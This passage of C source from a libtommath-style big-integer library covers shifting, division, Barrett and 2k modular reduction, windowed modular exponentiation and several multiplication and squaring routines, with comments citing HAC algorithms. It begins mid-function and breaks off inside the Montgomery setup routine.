int x, res, oldused;
/* copy */
if (b->alloc < a->used) {
if ((res = mp_grow (b, a->used)) != MP_OKAY) {
return res;
}
}
oldused = b->used;
b->used = a->used;
{
register mp_digit r, rr, *tmpa, *tmpb;
/* source alias */
tmpa = a->dp + b->used - 1;
/* dest alias */
tmpb = b->dp + b->used - 1;
/* carry */
r = 0;
for (x = b->used - 1; x >= 0; x--) {
/* get the carry for the next iteration */
rr = *tmpa & 1;
/* shift the current digit, add in carry and store */
*tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1));
/* forward carry to next iteration */
r = rr;
}
/* zero excess digits */
tmpb = b->dp + b->used;
for (x = b->used; x < oldused; x++) {
*tmpb++ = 0;
}
}
b->sign = a->sign;
mp_clamp (b);
return MP_OKAY;
}
#endif /* LTM_NO_NEG_EXP */
/* shift left by a certain bit count */
static int mp_mul_2d (mp_int * a, int b, mp_int * c)
{
mp_digit d;
int res;
/* copy */
if (a != c) {
if ((res = mp_copy (a, c)) != MP_OKAY) {
return res;
}
}
if (c->alloc < (int)(c->used + b/DIGIT_BIT + 1)) {
if ((res = mp_grow (c, c->used + b / DIGIT_BIT + 1)) != MP_OKAY) {
return res;
}
}
/* shift by as many digits in the bit count */
if (b >= (int)DIGIT_BIT) {
if ((res = mp_lshd (c, b / DIGIT_BIT)) != MP_OKAY) {
return res;
}
}
/* shift any bit count < DIGIT_BIT */
d = (mp_digit) (b % DIGIT_BIT);
if (d != 0) {
register mp_digit *tmpc, shift, mask, r, rr;
register int x;
/* bitmask for carries */
mask = (((mp_digit)1) << d) - 1;
/* shift for msbs */
shift = DIGIT_BIT - d;
/* alias */
tmpc = c->dp;
/* carry */
r = 0;
for (x = 0; x < c->used; x++) {
/* get the higher bits of the current word */
rr = (*tmpc >> shift) & mask;
/* shift the current word and OR in the carry */
*tmpc = ((*tmpc << d) | r) & MP_MASK;
++tmpc;
/* set the carry to the carry bits of the current word */
r = rr;
}
/* set final carry */
if (r != 0) {
c->dp[(c->used)++] = r;
}
}
mp_clamp (c);
return MP_OKAY;
}
#ifdef BN_MP_INIT_MULTI_C
static int mp_init_multi(mp_int *mp, ...)
{
mp_err res = MP_OKAY; /* Assume ok until proven otherwise */
int n = 0; /* Number of ok inits */
mp_int* cur_arg = mp;
va_list args;
va_start(args, mp); /* init args to next argument from caller */
while (cur_arg != NULL) {
if (mp_init(cur_arg) != MP_OKAY) {
/* Oops - error! Back-track and mp_clear what we already
succeeded in init-ing, then return error.
*/
va_list clean_args;
/* end the current list */
va_end(args);
/* now start cleaning up */
cur_arg = mp;
va_start(clean_args, mp);
while (n--) {
mp_clear(cur_arg);
cur_arg = va_arg(clean_args, mp_int*);
}
va_end(clean_args);
res = MP_MEM;
break;
}
n++;
cur_arg = va_arg(args, mp_int*);
}
va_end(args);
return res; /* Assumed ok, if error flagged above. */
}
#endif
#ifdef BN_MP_CLEAR_MULTI_C
static void mp_clear_multi(mp_int *mp, ...)
{
mp_int* next_mp = mp;
va_list args;
va_start(args, mp);
while (next_mp != NULL) {
mp_clear(next_mp);
next_mp = va_arg(args, mp_int*);
}
va_end(args);
}
#endif
/* shift left a certain amount of digits */
static int mp_lshd (mp_int * a, int b)
{
int x, res;
/* if its less than zero return */
if (b <= 0) {
return MP_OKAY;
}
/* grow to fit the new digits */
if (a->alloc < a->used + b) {
if ((res = mp_grow (a, a->used + b)) != MP_OKAY) {
return res;
}
}
{
register mp_digit *top, *bottom;
/* increment the used by the shift amount then copy upwards */
a->used += b;
/* top */
top = a->dp + a->used - 1;
/* base */
bottom = a->dp + a->used - 1 - b;
/* much like mp_rshd this is implemented using a sliding window
* except the window goes the otherway around. Copying from
* the bottom to the top. see bn_mp_rshd.c for more info.
*/
for (x = a->used - 1; x >= b; x--) {
*top-- = *bottom--;
}
/* zero the lower digits */
top = a->dp;
for (x = 0; x < b; x++) {
*top++ = 0;
}
}
return MP_OKAY;
}
/* returns the number of bits in an int */
static int mp_count_bits (mp_int * a)
{
int r;
mp_digit q;
/* shortcut */
if (a->used == 0) {
return 0;
}
/* get number of digits and add that */
r = (a->used - 1) * DIGIT_BIT;
/* take the last digit and count the bits in it */
q = a->dp[a->used - 1];
while (q > ((mp_digit) 0)) {
++r;
q >>= ((mp_digit) 1);
}
return r;
}
/* calc a value mod 2**b */
static int mp_mod_2d (mp_int * a, int b, mp_int * c)
{
int x, res;
/* if b is <= 0 then zero the int */
if (b <= 0) {
mp_zero (c);
return MP_OKAY;
}
/* if the modulus is larger than the value than return */
if (b >= (int) (a->used * DIGIT_BIT)) {
res = mp_copy (a, c);
return res;
}
/* copy */
if ((res = mp_copy (a, c)) != MP_OKAY) {
return res;
}
/* zero digits above the last digit of the modulus */
for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) {
c->dp[x] = 0;
}
/* clear the digit that is not completely outside/inside the modulus */
c->dp[b / DIGIT_BIT] &=
(mp_digit) ((((mp_digit) 1) << (((mp_digit) b) % DIGIT_BIT)) - ((mp_digit) 1));
mp_clamp (c);
return MP_OKAY;
}
#ifdef BN_MP_DIV_SMALL
/* slower bit-bang division... also smaller */
static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d)
{
mp_int ta, tb, tq, q;
int res, n, n2;
/* is divisor zero ? */
if (mp_iszero (b) == 1) {
return MP_VAL;
}
/* if a < b then q=0, r = a */
if (mp_cmp_mag (a, b) == MP_LT) {
if (d != NULL) {
res = mp_copy (a, d);
} else {
res = MP_OKAY;
}
if (c != NULL) {
mp_zero (c);
}
return res;
}
/* init our temps */
if ((res = mp_init_multi(&ta, &tb, &tq, &q, NULL) != MP_OKAY)) {
return res;
}
mp_set(&tq, 1);
n = mp_count_bits(a) - mp_count_bits(b);
if (((res = mp_abs(a, &ta)) != MP_OKAY) ||
((res = mp_abs(b, &tb)) != MP_OKAY) ||
((res = mp_mul_2d(&tb, n, &tb)) != MP_OKAY) ||
((res = mp_mul_2d(&tq, n, &tq)) != MP_OKAY)) {
goto LBL_ERR;
}
while (n-- >= 0) {
if (mp_cmp(&tb, &ta) != MP_GT) {
if (((res = mp_sub(&ta, &tb, &ta)) != MP_OKAY) ||
((res = mp_add(&q, &tq, &q)) != MP_OKAY)) {
goto LBL_ERR;
}
}
if (((res = mp_div_2d(&tb, 1, &tb, NULL)) != MP_OKAY) ||
((res = mp_div_2d(&tq, 1, &tq, NULL)) != MP_OKAY)) {
goto LBL_ERR;
}
}
/* now q == quotient and ta == remainder */
n = a->sign;
n2 = (a->sign == b->sign ? MP_ZPOS : MP_NEG);
if (c != NULL) {
mp_exch(c, &q);
c->sign = (mp_iszero(c) == MP_YES) ? MP_ZPOS : n2;
}
if (d != NULL) {
mp_exch(d, &ta);
d->sign = (mp_iszero(d) == MP_YES) ? MP_ZPOS : n;
}
LBL_ERR:
mp_clear_multi(&ta, &tb, &tq, &q, NULL);
return res;
}
#else
/* integer signed division.
* c*b + d == a [e.g. a/b, c=quotient, d=remainder]
* HAC pp.598 Algorithm 14.20
*
* Note that the description in HAC is horribly
* incomplete. For example, it doesn't consider
* the case where digits are removed from 'x' in
* the inner loop. It also doesn't consider the
* case that y has fewer than three digits, etc..
*
* The overall algorithm is as described as
* 14.20 from HAC but fixed to treat these cases.
*/
static int mp_div (mp_int * a, mp_int * b, mp_int * c, mp_int * d)
{
mp_int q, x, y, t1, t2;
int res, n, t, i, norm, neg;
/* is divisor zero ? */
if (mp_iszero (b) == 1) {
return MP_VAL;
}
/* if a < b then q=0, r = a */
if (mp_cmp_mag (a, b) == MP_LT) {
if (d != NULL) {
res = mp_copy (a, d);
} else {
res = MP_OKAY;
}
if (c != NULL) {
mp_zero (c);
}
return res;
}
if ((res = mp_init_size (&q, a->used + 2)) != MP_OKAY) {
return res;
}
q.used = a->used + 2;
if ((res = mp_init (&t1)) != MP_OKAY) {
goto LBL_Q;
}
if ((res = mp_init (&t2)) != MP_OKAY) {
goto LBL_T1;
}
if ((res = mp_init_copy (&x, a)) != MP_OKAY) {
goto LBL_T2;
}
if ((res = mp_init_copy (&y, b)) != MP_OKAY) {
goto LBL_X;
}
/* fix the sign */
neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG;
x.sign = y.sign = MP_ZPOS;
/* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */
norm = mp_count_bits(&y) % DIGIT_BIT;
if (norm < (int)(DIGIT_BIT-1)) {
norm = (DIGIT_BIT-1) - norm;
if ((res = mp_mul_2d (&x, norm, &x)) != MP_OKAY) {
goto LBL_Y;
}
if ((res = mp_mul_2d (&y, norm, &y)) != MP_OKAY) {
goto LBL_Y;
}
} else {
norm = 0;
}
/* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */
n = x.used - 1;
t = y.used - 1;
/* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */
if ((res = mp_lshd (&y, n - t)) != MP_OKAY) { /* y = y*b**{n-t} */
goto LBL_Y;
}
while (mp_cmp (&x, &y) != MP_LT) {
++(q.dp[n - t]);
if ((res = mp_sub (&x, &y, &x)) != MP_OKAY) {
goto LBL_Y;
}
}
/* reset y by shifting it back down */
mp_rshd (&y, n - t);
/* step 3. for i from n down to (t + 1) */
for (i = n; i >= (t + 1); i--) {
if (i > x.used) {
continue;
}
/* step 3.1 if xi == yt then set q{i-t-1} to b-1,
* otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */
if (x.dp[i] == y.dp[t]) {
q.dp[i - t - 1] = ((((mp_digit)1) << DIGIT_BIT) - 1);
} else {
mp_word tmp;
tmp = ((mp_word) x.dp[i]) << ((mp_word) DIGIT_BIT);
tmp |= ((mp_word) x.dp[i - 1]);
tmp /= ((mp_word) y.dp[t]);
if (tmp > (mp_word) MP_MASK)
tmp = MP_MASK;
q.dp[i - t - 1] = (mp_digit) (tmp & (mp_word) (MP_MASK));
}
/* while (q{i-t-1} * (yt * b + y{t-1})) >
xi * b**2 + xi-1 * b + xi-2
do q{i-t-1} -= 1;
*/
q.dp[i - t - 1] = (q.dp[i - t - 1] + 1) & MP_MASK;
do {
q.dp[i - t - 1] = (q.dp[i - t - 1] - 1) & MP_MASK;
/* find left hand */
mp_zero (&t1);
t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1];
t1.dp[1] = y.dp[t];
t1.used = 2;
if ((res = mp_mul_d (&t1, q.dp[i - t - 1], &t1)) != MP_OKAY) {
goto LBL_Y;
}
/* find right hand */
t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2];
t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1];
t2.dp[2] = x.dp[i];
t2.used = 3;
} while (mp_cmp_mag(&t1, &t2) == MP_GT);
/* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */
if ((res = mp_mul_d (&y, q.dp[i - t - 1], &t1)) != MP_OKAY) {
goto LBL_Y;
}
if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) {
goto LBL_Y;
}
if ((res = mp_sub (&x, &t1, &x)) != MP_OKAY) {
goto LBL_Y;
}
/* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */
if (x.sign == MP_NEG) {
if ((res = mp_copy (&y, &t1)) != MP_OKAY) {
goto LBL_Y;
}
if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) {
goto LBL_Y;
}
if ((res = mp_add (&x, &t1, &x)) != MP_OKAY) {
goto LBL_Y;
}
q.dp[i - t - 1] = (q.dp[i - t - 1] - 1UL) & MP_MASK;
}
}
/* now q is the quotient and x is the remainder
* [which we have to normalize]
*/
/* get sign before writing to c */
x.sign = x.used == 0 ? MP_ZPOS : a->sign;
if (c != NULL) {
mp_clamp (&q);
mp_exch (&q, c);
c->sign = neg;
}
if (d != NULL) {
mp_div_2d (&x, norm, &x, NULL);
mp_exch (&x, d);
}
res = MP_OKAY;
LBL_Y:mp_clear (&y);
LBL_X:mp_clear (&x);
LBL_T2:mp_clear (&t2);
LBL_T1:mp_clear (&t1);
LBL_Q:mp_clear (&q);
return res;
}
#endif
#ifdef MP_LOW_MEM
#define TAB_SIZE 32
#else
#define TAB_SIZE 256
#endif
static int s_mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode)
{
mp_int M[TAB_SIZE], res, mu;
mp_digit buf;
int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize;
int (*redux)(mp_int*,mp_int*,mp_int*);
/* find window size */
x = mp_count_bits (X);
if (x <= 7) {
winsize = 2;
} else if (x <= 36) {
winsize = 3;
} else if (x <= 140) {
winsize = 4;
} else if (x <= 450) {
winsize = 5;
} else if (x <= 1303) {
winsize = 6;
} else if (x <= 3529) {
winsize = 7;
} else {
winsize = 8;
}
#ifdef MP_LOW_MEM
if (winsize > 5) {
winsize = 5;
}
#endif
/* init M array */
/* init first cell */
if ((err = mp_init(&M[1])) != MP_OKAY) {
return err;
}
/* now init the second half of the array */
for (x = 1<<(winsize-1); x < (1 << winsize); x++) {
if ((err = mp_init(&M[x])) != MP_OKAY) {
for (y = 1<<(winsize-1); y < x; y++) {
mp_clear (&M[y]);
}
mp_clear(&M[1]);
return err;
}
}
/* create mu, used for Barrett reduction */
if ((err = mp_init (&mu)) != MP_OKAY) {
goto LBL_M;
}
if (redmode == 0) {
if ((err = mp_reduce_setup (&mu, P)) != MP_OKAY) {
goto LBL_MU;
}
redux = mp_reduce;
} else {
if ((err = mp_reduce_2k_setup_l (P, &mu)) != MP_OKAY) {
goto LBL_MU;
}
redux = mp_reduce_2k_l;
}
/* create M table
*
* The M table contains powers of the base,
* e.g. M[x] = G**x mod P
*
* The first half of the table is not
* computed though accept for M[0] and M[1]
*/
if ((err = mp_mod (G, P, &M[1])) != MP_OKAY) {
goto LBL_MU;
}
/* compute the value at M[1<<(winsize-1)] by squaring
* M[1] (winsize-1) times
*/
if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) {
goto LBL_MU;
}
for (x = 0; x < (winsize - 1); x++) {
/* square it */
if ((err = mp_sqr (&M[1 << (winsize - 1)],
&M[1 << (winsize - 1)])) != MP_OKAY) {
goto LBL_MU;
}
/* reduce modulo P */
if ((err = redux (&M[1 << (winsize - 1)], P, &mu)) != MP_OKAY) {
goto LBL_MU;
}
}
/* create upper table, that is M[x] = M[x-1] * M[1] (mod P)
* for x = (2**(winsize - 1) + 1) to (2**winsize - 1)
*/
for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) {
if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) {
goto LBL_MU;
}
if ((err = redux (&M[x], P, &mu)) != MP_OKAY) {
goto LBL_MU;
}
}
/* setup result */
if ((err = mp_init (&res)) != MP_OKAY) {
goto LBL_MU;
}
mp_set (&res, 1);
/* set initial mode and bit cnt */
mode = 0;
bitcnt = 1;
buf = 0;
digidx = X->used - 1;
bitcpy = 0;
bitbuf = 0;
for (;;) {
/* grab next digit as required */
if (--bitcnt == 0) {
/* if digidx == -1 we are out of digits */
if (digidx == -1) {
break;
}
/* read next digit and reset the bitcnt */
buf = X->dp[digidx--];
bitcnt = (int) DIGIT_BIT;
}
/* grab the next msb from the exponent */
y = (buf >> (mp_digit)(DIGIT_BIT - 1)) & 1;
buf <<= (mp_digit)1;
/* if the bit is zero and mode == 0 then we ignore it
* These represent the leading zero bits before the first 1 bit
* in the exponent. Technically this opt is not required but it
* does lower the # of trivial squaring/reductions used
*/
if (mode == 0 && y == 0) {
continue;
}
/* if the bit is zero and mode == 1 then we square */
if (mode == 1 && y == 0) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, &mu)) != MP_OKAY) {
goto LBL_RES;
}
continue;
}
/* else we add it to the window */
bitbuf |= (y << (winsize - ++bitcpy));
mode = 2;
if (bitcpy == winsize) {
/* ok window is filled so square as required and multiply */
/* square first */
for (x = 0; x < winsize; x++) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, &mu)) != MP_OKAY) {
goto LBL_RES;
}
}
/* then multiply */
if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, &mu)) != MP_OKAY) {
goto LBL_RES;
}
/* empty window and reset */
bitcpy = 0;
bitbuf = 0;
mode = 1;
}
}
/* if bits remain then square/multiply */
if (mode == 2 && bitcpy > 0) {
/* square then multiply if the bit is set */
for (x = 0; x < bitcpy; x++) {
if ((err = mp_sqr (&res, &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, &mu)) != MP_OKAY) {
goto LBL_RES;
}
bitbuf <<= 1;
if ((bitbuf & (1 << winsize)) != 0) {
/* then multiply */
if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) {
goto LBL_RES;
}
if ((err = redux (&res, P, &mu)) != MP_OKAY) {
goto LBL_RES;
}
}
}
}
mp_exch (&res, Y);
err = MP_OKAY;
LBL_RES:mp_clear (&res);
LBL_MU:mp_clear (&mu);
LBL_M:
mp_clear(&M[1]);
for (x = 1<<(winsize-1); x < (1 << winsize); x++) {
mp_clear (&M[x]);
}
return err;
}
/* computes b = a*a */
static int mp_sqr (mp_int * a, mp_int * b)
{
int res;
#ifdef BN_MP_TOOM_SQR_C
/* use Toom-Cook? */
if (a->used >= TOOM_SQR_CUTOFF) {
res = mp_toom_sqr(a, b);
/* Karatsuba? */
} else
#endif
#ifdef BN_MP_KARATSUBA_SQR_C
if (a->used >= KARATSUBA_SQR_CUTOFF) {
res = mp_karatsuba_sqr (a, b);
} else
#endif
{
#ifdef BN_FAST_S_MP_SQR_C
/* can we use the fast comba multiplier? */
if ((a->used * 2 + 1) < MP_WARRAY &&
a->used <
(1 << (sizeof(mp_word) * CHAR_BIT - 2*DIGIT_BIT - 1))) {
res = fast_s_mp_sqr (a, b);
} else
#endif
#ifdef BN_S_MP_SQR_C
res = s_mp_sqr (a, b);
#else
#error mp_sqr could fail
res = MP_VAL;
#endif
}
b->sign = MP_ZPOS;
return res;
}
/* reduces a modulo n where n is of the form 2**p - d
This differs from reduce_2k since "d" can be larger
than a single digit.
*/
static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d)
{
mp_int q;
int p, res;
if ((res = mp_init(&q)) != MP_OKAY) {
return res;
}
p = mp_count_bits(n);
top:
/* q = a/2**p, a = a mod 2**p */
if ((res = mp_div_2d(a, p, &q, a)) != MP_OKAY) {
goto ERR;
}
/* q = q * d */
if ((res = mp_mul(&q, d, &q)) != MP_OKAY) {
goto ERR;
}
/* a = a + q */
if ((res = s_mp_add(a, &q, a)) != MP_OKAY) {
goto ERR;
}
if (mp_cmp_mag(a, n) != MP_LT) {
s_mp_sub(a, n, a);
goto top;
}
ERR:
mp_clear(&q);
return res;
}
/* determines the setup value */
static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d)
{
int res;
mp_int tmp;
if ((res = mp_init(&tmp)) != MP_OKAY) {
return res;
}
if ((res = mp_2expt(&tmp, mp_count_bits(a))) != MP_OKAY) {
goto ERR;
}
if ((res = s_mp_sub(&tmp, a, d)) != MP_OKAY) {
goto ERR;
}
ERR:
mp_clear(&tmp);
return res;
}
/* computes a = 2**b
*
* Simple algorithm which zeroes the int, grows it then just sets one bit
* as required.
*/
static int mp_2expt (mp_int * a, int b)
{
int res;
/* zero a as per default */
mp_zero (a);
/* grow a to accomodate the single bit */
if ((res = mp_grow (a, b / DIGIT_BIT + 1)) != MP_OKAY) {
return res;
}
/* set the used count of where the bit will go */
a->used = b / DIGIT_BIT + 1;
/* put the single bit in its place */
a->dp[b / DIGIT_BIT] = ((mp_digit)1) << (b % DIGIT_BIT);
return MP_OKAY;
}
/* pre-calculate the value required for Barrett reduction
* For a given modulus "b" it calulates the value required in "a"
*/
static int mp_reduce_setup (mp_int * a, mp_int * b)
{
int res;
if ((res = mp_2expt (a, b->used * 2 * DIGIT_BIT)) != MP_OKAY) {
return res;
}
return mp_div (a, b, a, NULL);
}
/* reduces x mod m, assumes 0 < x < m**2, mu is
* precomputed via mp_reduce_setup.
* From HAC pp.604 Algorithm 14.42
*/
static int mp_reduce (mp_int * x, mp_int * m, mp_int * mu)
{
mp_int q;
int res, um = m->used;
/* q = x */
if ((res = mp_init_copy (&q, x)) != MP_OKAY) {
return res;
}
/* q1 = x / b**(k-1) */
mp_rshd (&q, um - 1);
/* according to HAC this optimization is ok */
if (((unsigned long) um) > (((mp_digit)1) << (DIGIT_BIT - 1))) {
if ((res = mp_mul (&q, mu, &q)) != MP_OKAY) {
goto CLEANUP;
}
} else {
#ifdef BN_S_MP_MUL_HIGH_DIGS_C
if ((res = s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) {
goto CLEANUP;
}
#elif defined(BN_FAST_S_MP_MUL_HIGH_DIGS_C)
if ((res = fast_s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) {
goto CLEANUP;
}
#else
{
#error mp_reduce would always fail
res = MP_VAL;
goto CLEANUP;
}
#endif
}
/* q3 = q2 / b**(k+1) */
mp_rshd (&q, um + 1);
/* x = x mod b**(k+1), quick (no division) */
if ((res = mp_mod_2d (x, DIGIT_BIT * (um + 1), x)) != MP_OKAY) {
goto CLEANUP;
}
/* q = q * m mod b**(k+1), quick (no division) */
if ((res = s_mp_mul_digs (&q, m, &q, um + 1)) != MP_OKAY) {
goto CLEANUP;
}
/* x = x - q */
if ((res = mp_sub (x, &q, x)) != MP_OKAY) {
goto CLEANUP;
}
/* If x < 0, add b**(k+1) to it */
if (mp_cmp_d (x, 0) == MP_LT) {
mp_set (&q, 1);
if ((res = mp_lshd (&q, um + 1)) != MP_OKAY) {
goto CLEANUP;
}
if ((res = mp_add (x, &q, x)) != MP_OKAY) {
goto CLEANUP;
}
}
/* Back off if it's too big */
while (mp_cmp (x, m) != MP_LT) {
if ((res = s_mp_sub (x, m, x)) != MP_OKAY) {
goto CLEANUP;
}
}
CLEANUP:
mp_clear (&q);
return res;
}
/* multiplies |a| * |b| and only computes upto digs digits of result
* HAC pp. 595, Algorithm 14.12 Modified so you can control how
* many digits of output are created.
*/
static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs)
{
mp_int t;
int res, pa, pb, ix, iy;
mp_digit u;
mp_word r;
mp_digit tmpx, *tmpt, *tmpy;
/* can we use the fast multiplier? */
if (((digs) < MP_WARRAY) &&
MIN (a->used, b->used) <
(1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) {
return fast_s_mp_mul_digs (a, b, c, digs);
}
if ((res = mp_init_size (&t, digs)) != MP_OKAY) {
return res;
}
t.used = digs;
/* compute the digits of the product directly */
pa = a->used;
for (ix = 0; ix < pa; ix++) {
/* set the carry to zero */
u = 0;
/* limit ourselves to making digs digits of output */
pb = MIN (b->used, digs - ix);
/* setup some aliases */
/* copy of the digit from a used within the nested loop */
tmpx = a->dp[ix];
/* an alias for the destination shifted ix places */
tmpt = t.dp + ix;
/* an alias for the digits of b */
tmpy = b->dp;
/* compute the columns of the output and propagate the carry */
for (iy = 0; iy < pb; iy++) {
/* compute the column as a mp_word */
r = ((mp_word)*tmpt) +
((mp_word)tmpx) * ((mp_word)*tmpy++) +
((mp_word) u);
/* the new column is the lower part of the result */
*tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK));
/* get the carry word from the result */
u = (mp_digit) (r >> ((mp_word) DIGIT_BIT));
}
/* set carry if it is placed below digs */
if (ix + iy < digs) {
*tmpt = u;
}
}
mp_clamp (&t);
mp_exch (&t, c);
mp_clear (&t);
return MP_OKAY;
}
/* Fast (comba) multiplier
*
* This is the fast column-array [comba] multiplier. It is
* designed to compute the columns of the product first
* then handle the carries afterwards. This has the effect
* of making the nested loops that compute the columns very
* simple and schedulable on super-scalar processors.
*
* This has been modified to produce a variable number of
* digits of output so if say only a half-product is required
* you don't have to compute the upper half (a feature
* required for fast Barrett reduction).
*
* Based on Algorithm 14.12 on pp.595 of HAC.
*
*/
static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs)
{
int olduse, res, pa, ix, iz;
mp_digit W[MP_WARRAY];
register mp_word _W;
/* grow the destination as required */
if (c->alloc < digs) {
if ((res = mp_grow (c, digs)) != MP_OKAY) {
return res;
}
}
/* number of output digits to produce */
pa = MIN(digs, a->used + b->used);
/* clear the carry */
_W = 0;
for (ix = 0; ix < pa; ix++) {
int tx, ty;
int iy;
mp_digit *tmpx, *tmpy;
/* get offsets into the two bignums */
ty = MIN(b->used-1, ix);
tx = ix - ty;
/* setup temp aliases */
tmpx = a->dp + tx;
tmpy = b->dp + ty;
/* this is the number of times the loop will iterrate, essentially
while (tx++ < a->used && ty-- >= 0) { ... }
*/
iy = MIN(a->used-tx, ty+1);
/* execute loop */
for (iz = 0; iz < iy; ++iz) {
_W += ((mp_word)*tmpx++)*((mp_word)*tmpy--);
}
/* store term */
W[ix] = ((mp_digit)_W) & MP_MASK;
/* make next carry */
_W = _W >> ((mp_word)DIGIT_BIT);
}
/* setup dest */
olduse = c->used;
c->used = pa;
{
register mp_digit *tmpc;
tmpc = c->dp;
for (ix = 0; ix < pa+1; ix++) {
/* now extract the previous digit [below the carry] */
*tmpc++ = W[ix];
}
/* clear unused digits [that existed in the old copy of c] */
for (; ix < olduse; ix++) {
*tmpc++ = 0;
}
}
mp_clamp (c);
return MP_OKAY;
}
/* init an mp_init for a given size */
static int mp_init_size (mp_int * a, int size)
{
int x;
/* pad size so there are always extra digits */
size += (MP_PREC * 2) - (size % MP_PREC);
/* alloc mem */
a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * size);
if (a->dp == NULL) {
return MP_MEM;
}
/* set the members */
a->used = 0;
a->alloc = size;
a->sign = MP_ZPOS;
/* zero the digits */
for (x = 0; x < size; x++) {
a->dp[x] = 0;
}
return MP_OKAY;
}
/* low level squaring, b = a*a, HAC pp.596-597, Algorithm 14.16 */
static int s_mp_sqr (mp_int * a, mp_int * b)
{
mp_int t;
int res, ix, iy, pa;
mp_word r;
mp_digit u, tmpx, *tmpt;
pa = a->used;
if ((res = mp_init_size (&t, 2*pa + 1)) != MP_OKAY) {
return res;
}
/* default used is maximum possible size */
t.used = 2*pa + 1;
for (ix = 0; ix < pa; ix++) {
/* first calculate the digit at 2*ix */
/* calculate double precision result */
r = ((mp_word) t.dp[2*ix]) +
((mp_word)a->dp[ix])*((mp_word)a->dp[ix]);
/* store lower part in result */
t.dp[ix+ix] = (mp_digit) (r & ((mp_word) MP_MASK));
/* get the carry */
u = (mp_digit)(r >> ((mp_word) DIGIT_BIT));
/* left hand side of A[ix] * A[iy] */
tmpx = a->dp[ix];
/* alias for where to store the results */
tmpt = t.dp + (2*ix + 1);
for (iy = ix + 1; iy < pa; iy++) {
/* first calculate the product */
r = ((mp_word)tmpx) * ((mp_word)a->dp[iy]);
/* now calculate the double precision result, note we use
* addition instead of *2 since it's easier to optimize
*/
r = ((mp_word) *tmpt) + r + r + ((mp_word) u);
/* store lower part */
*tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK));
/* get carry */
u = (mp_digit)(r >> ((mp_word) DIGIT_BIT));
}
/* propagate upwards */
while (u != ((mp_digit) 0)) {
r = ((mp_word) *tmpt) + ((mp_word) u);
*tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK));
u = (mp_digit)(r >> ((mp_word) DIGIT_BIT));
}
}
mp_clamp (&t);
mp_exch (&t, b);
mp_clear (&t);
return MP_OKAY;
}
/* multiplies |a| * |b| and does not compute the lower digs digits
* [meant to get the higher part of the product]
*/
static int s_mp_mul_high_digs (mp_int * a, mp_int * b, mp_int * c, int digs)
{
mp_int t;
int res, pa, pb, ix, iy;
mp_digit u;
mp_word r;
mp_digit tmpx, *tmpt, *tmpy;
/* can we use the fast multiplier? */
#ifdef BN_FAST_S_MP_MUL_HIGH_DIGS_C
if (((a->used + b->used + 1) < MP_WARRAY)
&& MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) {
return fast_s_mp_mul_high_digs (a, b, c, digs);
}
#endif
if ((res = mp_init_size (&t, a->used + b->used + 1)) != MP_OKAY) {
return res;
}
t.used = a->used + b->used + 1;
pa = a->used;
pb = b->used;
for (ix = 0; ix < pa; ix++) {
/* clear the carry */
u = 0;
/* left hand side of A[ix] * B[iy] */
tmpx = a->dp[ix];
/* alias to the address of where the digits will be stored */
tmpt = &(t.dp[digs]);
/* alias for where to read the right hand side from */
tmpy = b->dp + (digs - ix);
for (iy = digs - ix; iy < pb; iy++) {
/* calculate the double precision result */
r = ((mp_word)*tmpt) +
((mp_word)tmpx) * ((mp_word)*tmpy++) +
((mp_word) u);
/* get the lower part */
*tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK));
/* carry the carry */
u = (mp_digit) (r >> ((mp_word) DIGIT_BIT));
}
*tmpt = u;
}
mp_clamp (&t);
mp_exch (&t, c);
mp_clear (&t);
return MP_OKAY;
}
#ifdef BN_MP_MONTGOMERY_SETUP_C
/* setups the montgomery reduction stuff */
static int
mp_montgomery_setup (mp_int * n, mp_digit * rho)
{
mp_digit x, b;
/* fast inversion mod 2**k
*
* Based on the fact that
*
* XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n)
* => 2*X*A - X*X*A*A = 1
* => 2*(1) - (1) = 1
*/
b = n->dp[0];
if ((b & 1) == 0) {
return MP_VAL;
}
x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */
